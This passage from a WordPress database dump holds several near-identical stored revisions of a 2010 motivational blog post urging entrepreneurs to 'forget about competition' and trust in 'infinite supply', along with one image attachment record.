do with your capabilities as a strong competitor.\n\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful.  Infinite supply is everywhere and in everything–including you and your ideas!\n\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\n\nWhen you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business. Opportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\n\n<strong> </strong>\n\n<strong>As a creative entrepreneur, you don’t seek the success possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\n\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form on the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision', '', '', '2010-05-25 11:36:02', '2010-05-25 18:36:02', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision/', 0, 'revision', '', 0),
(835, 2, '2010-05-25 11:47:53', '2010-05-25 18:47:53', '<img class="alignnone size-full wp-image-832" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition2.gif" alt="" width="460" height="453" />\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief.  Forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. It draws the line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful.  Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-8', '', '', '2010-05-25 11:47:53', '2010-05-25 18:47:53', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-8/', 0, 'revision', '', 0),
(828, 2, '2010-05-25 11:36:54', '2010-05-25 18:36:54', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif"><img class="alignnone size-full wp-image-826" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif" alt="" width="497" height="489" /></a>\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy.  In business and in life, if you’re not competitive, you’ll lose. This is a corrosive belief. If you want to create success, forget about competition.</h2>\r\nGet rid of the idea of competition. Competition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. It draws the line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful.  Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n\r\nWhen you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business. Opportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form on the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-2', '', '', '2010-05-25 11:36:54', '2010-05-25 18:36:54', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-2/', 0, 'revision', '', 0),
(829, 2, '2010-05-25 11:38:19', '2010-05-25 18:38:19', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif"><img class="alignnone size-full wp-image-826" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif" alt="" width="497" height="489" /></a>\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy.  In business and in life, if you’re not competitive, you’ll lose. This is a corrosive belief. If you want to create success, forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. It draws the line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful.  Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form on the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-3', '', '', '2010-05-25 11:38:19', '2010-05-25 18:38:19', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-3/', 0, 'revision', '', 0),
(830, 2, '2010-05-25 11:39:13', '2010-05-25 18:39:13', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif"><img class="alignnone size-full wp-image-826" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif" alt="" width="465" height="458" /></a>\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy.  In business and in life, if you’re not competitive, you’ll lose. This is a corrosive belief. If you want to create success, forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. It draws the line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful.  Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form on the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-4', '', '', '2010-05-25 11:39:13', '2010-05-25 18:39:13', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-4/', 0, 'revision', '', 0),
(831, 2, '2010-05-25 11:39:20', '2010-05-25 18:39:20', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif"><img class="alignnone size-full wp-image-826" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif" alt="" width="465" height="458" /></a>\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy.  In business and in life, if you’re not competitive, you’ll lose. This is a corrosive belief. If you want to create success, forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. It draws the line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful.  Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form on the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-5', '', '', '2010-05-25 11:39:20', '2010-05-25 18:39:20', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-5/', 0, 'revision', '', 0);
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(834, 2, '2010-05-25 11:46:49', '2010-05-25 18:46:49', '<img class="alignnone size-full wp-image-832" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition2.gif" alt="" width="460" height="453" />\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy.  In business and in life, if you’re not competitive, you’ll lose. This is a corrosive belief. If you want to create success, forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. It draws the line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful.  Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-7', '', '', '2010-05-25 11:46:49', '2010-05-25 18:46:49', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-7/', 0, 'revision', '', 0),
(832, 2, '2010-05-25 11:46:23', '2010-05-25 18:46:23', '', 'competition', 0, '', 'inherit', 'open', 'open', '', 'competition-3', '', '', '2010-05-25 11:46:23', '2010-05-25 18:46:23', '', 824, 'http://www.whitehotcenter.com/wp-content/uploads/2010/05/competition2.gif', 0, 'attachment', 'image/gif', 0),
(833, 2, '2010-05-25 11:43:28', '2010-05-25 18:43:28', '<a href="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif"><img class="alignnone size-full wp-image-826" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition1.gif" alt="" width="465" height="458" /></a>\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy.  In business and in life, if you’re not competitive, you’ll lose. This is a corrosive belief. If you want to create success, forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. It draws the line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful.  Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-6', '', '', '2010-05-25 11:43:28', '2010-05-25 18:43:28', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-6/', 0, 'revision', '', 0),
(836, 2, '2010-05-25 11:50:46', '2010-05-25 18:50:46', '<img class="alignnone size-full wp-image-832" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition2.gif" alt="" width="460" height="453" />\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief.  Forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. It draws the line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-9', '', '', '2010-05-25 11:50:46', '2010-05-25 18:50:46', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-9/', 0, 'revision', '', 0),
(837, 2, '2010-05-25 11:51:17', '2010-05-25 18:51:17', '<img class="alignnone size-full wp-image-832" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition2.gif" alt="" width="460" height="453" />\r\n<h2>In our western culture, and particularly here in America, we’ve been taught that competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief. Forget about competition.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. It draws the line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>.Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-10', '', '', '2010-05-25 11:51:17', '2010-05-25 18:51:17', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-10/', 0, 'revision', '', 0),
